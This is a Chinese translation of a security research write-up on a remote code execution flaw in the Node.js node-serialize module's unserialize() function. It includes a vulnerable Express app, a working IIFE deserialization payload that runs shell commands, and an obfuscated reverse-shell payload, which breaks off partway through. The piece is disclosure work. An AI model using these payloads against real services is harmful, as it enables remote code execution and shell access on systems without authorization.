首页 存档 技术 查看内容

利用 Node.js 反序列化漏洞远程执行代码

2018-3-30 13:00 |来自: 互联网 328 0

摘要: 原文链接:Exploiting Node.js deserialization bug for Remote Code Execution有增改 原作者:Ajin Abraham 译:Holic (知道创宇404安全实验室) 若不可信的数据传入unserialize()函数,通过传递立即调用函数表达式 ...


原文链接:Exploiting Node.js deserialization bug for Remote Code Execution有增改

原作者:Ajin Abraham

译:Holic (知道创宇404安全实验室)

若不可信的数据传入unserialize()函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。

漏洞详情

审计 Node.js 代码时,我正好看到一个名为 node-serialize 的序列号/反序列化模块。下面是一段代码示例,来自网络请求的 cookie 会传递到该模块的 unserialize() 函数中。

var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser())app.get('/', function(req, res) {  if (req.cookies.profile) {
  var str = new Buffer(req.cookies.profile, 'base64').toString();
  var obj = serialize.unserialize(str);
  if (obj.username) {
   res.send("Hello "   escape(obj.username));
  }
 } else {
   res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
    maxAge: 900000,
    httpOnly: true
   });
 }
 res.send("Hello World");});app.listen(3000); 

Java,PHP,Ruby 和 Python 都出现过很多次反序列化的漏洞。下面是这些问题的相关资源:

但是我找不到任何关于 Node.js 中反序列号/对象注入的资源,于是我就想对此进行研究,然后我花了点儿时间成功利用此 bug,实现了任意代码注入。

构建 Payload

我使用了 0.0.4 版本的 node-serialize 进行研究,成功利用的话,不可信输入传递到unserialize()的时候可以执行任意代码。创建 payload 最好使用同一模块的serialize()函数。

我创建了以下 JavaScript 对象,将其传入serialize()函数。

var y = { 
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },}var serialize = require('node-serialize'); console.log("Serialized: \n"   serialize.serialize(y)); 

我们得到以下输出:

现在我们得到序列化的字符串,可以用unserialize()函数进行反序列化操作。那么问题来了,怎么代码执行呢?只有触发对象的 rce 成员函数才行。

后来我想到可以使用 JavaScript 的立即调用的函数表达式(IIFE)来调用该函数。如果我们在函数后使用 IIFE 括号(),在对象被创建时,函数就会马上被调用。有点类似于 C 中的类构造函数。

现在修改过的代码经serialize()函数马上会被调用。

IIFE 运行良好,但序列化失败了。于是我试着在之前序列化的字符串中函数体后面加上括号(),并将其传入unserialize()函数,很幸运,成功执行。那么就有了下面的 exploit:

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"} 

将其传入unserialize()函数,触发代码执行。

var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload); 

进一步利用

现在我们知道了,如果不受信任的数据传入其中,我们利用 node-serialize 模块中的unserialize()函数。我们来利用 Web 程序中的漏洞反弹一个 shell 出来吧。

这里我使用nodejsshell.py生成反向 shell 的 payload。

$ python nodejsshell.py 127.0.0.1 1337[ ] LHOST = 127.0.0.1[ ] LPORT = 1337[ ] Encodingeval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,
                      声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 
                      [邮箱地址] 删除
                    				    
                                        

路过

雷人

握手

鲜花

鸡蛋

相关分类

返回顶部